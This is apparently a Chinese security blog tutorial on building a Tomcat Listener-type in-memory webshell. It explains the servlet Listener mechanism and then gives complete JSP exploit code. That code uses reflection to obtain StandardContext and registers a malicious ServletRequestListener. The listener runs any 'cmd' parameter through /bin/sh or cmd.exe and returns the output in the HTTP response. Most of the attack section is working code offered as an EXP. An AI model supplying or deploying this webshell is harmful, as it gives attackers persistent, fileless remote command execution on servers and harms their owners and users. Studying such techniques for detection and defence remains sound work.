Listener内存马

0x01Lintener机制分析

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

Listener 三个域对象

ServletContextListener
HttpSessionListener
ServletRequestListener

ServletRequestListener用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。继续看,在哪个环节,什么时候,哪个地方会调用监听器。相当于这个ServletContextListener,是最常用的那么我们就去用这个试试呗

0x02Listener生成

image-20221201154904134

可以直接用注解配置,也可以在web.xml中配置跟filter一样配置方法。

0x03Listener分析

知道了这个监听器的执行方式,那我们就要想着怎么去构建这个对象,还是调试跟进去看一下,Listener是最先加载的所以我们更到他调用方法里面来进行调试

Listener内存马

进来就发现掉了一个函数getApplicationEventListeners()跟进去看看,发现它只是获取了一个数组

方法源码

  private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();

然后接着往下调用看看

Listener内存马

这后面这一块大概意思就是判断一下刚刚创建那个Listener数组是否空,不空然后对request进行处理和调用一些额外的参数但是都不是我们看的重点看到后面的一句

Listener内存马

这里那个Listener数组被一个一个调用,调用后调用的是我们自己构造的那个Listener然后就是一长段调用我没找到最好调用是啥,看到别的师傅说后面的东西跟Filter有点类似我就没有再去追了因为到这里就已经知道怎么去构造了

在standardContext里面有个方法addApplicationEventListener

Listener内存马

0x04Listener马构造分析

  1. 首先我们的恶意代码要写到requestInitialized方法中,这是构造一个恶意的Listener
  2. 然后要去StandardContext调用addApplicationEventListener把我们构造的恶意Listener放进去就

Listener内存马

0x05开始编写EXP

0x1编写恶意Listener

if (cmd!=null){
    boolean isLinux = true;
    String osType = System.getProperty("os.name");
    if (osType != null && osType.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(inputStream).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    Field request1 = servletRequest.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    Request request2 = (Request) request1.get(servletRequest);
    request2.getResponse().getWriter().write(output);
}

0x2获取StandardContext

循环获取StandardContext(这个方法是我没想到的)

    ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            while (o == null) { //循环从servletContext中取出StandardContext
                Field field = servletContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                Object o1 = field.get(servletContext);
                if (o1 instanceof ServletContext) {
                    servletContext = (ServletContext) o1;
                } else if (o1 instanceof StandardContext) {
                    o = (StandardContext) o1;
                }

0x3整体EXP

<%--
  Created by IntelliJ IDEA.
  User: White_room
  Date: 2022/12/2
  Time: 15:40
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
    public class AddTomcatListener extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            this.doPost(req, resp);
        }
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            try {
                //循环获取StandContext
                ServletContext servletContext = req.getServletContext();
                StandardContext o = null;
                while (o == null) {
                    Field field = servletContext.getClass().getDeclaredField("context");
                    field.setAccessible(true);
                    Object o1 = field.get(servletContext);
                    if (o1 instanceof ServletContext) {
                        servletContext = (ServletContext) o1;
                    } else if (o1 instanceof StandardContext) {
                        o = (StandardContext) o1;
                    }
                }
                System.out.println(o);
                Mylistener mylistener = new Mylistener();
                //添加listener
                o.addApplicationEventListener(mylistener);
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }
    class Mylistener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
            ServletRequest request = servletRequestEvent.getServletRequest();
            if (request.getParameter("cmd") != null) {
                try {
                    String cmd = request.getParameter("cmd");
                    boolean isLinux = true;
                    String osType = System.getProperty("os.name");
                    if (osType != null && osType.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                    InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    Field request1 = request.getClass().getDeclaredField("request");
                    request1.setAccessible(true);
                    Request request2 = (Request) request1.get(request);
                    request2.getResponse().getWriter().write(output);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NoSuchFieldException e) {
                    e.printStackTrace();
                } catch (IllegalAccessException e) {
                    e.printStackTrace();
                }
            }
        }
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        }
    }
    %>
</body>
</html>

0x06小结

相对于 Filter 型内存马来说,Listener 型内存马的实现更为简易的多,可以把 Listener 型内存马需要实现的步骤看成是 Filter 型内存马的一部分,直接在Listeners中直接加个listener中就行了。不用去写配置文件。

发表回复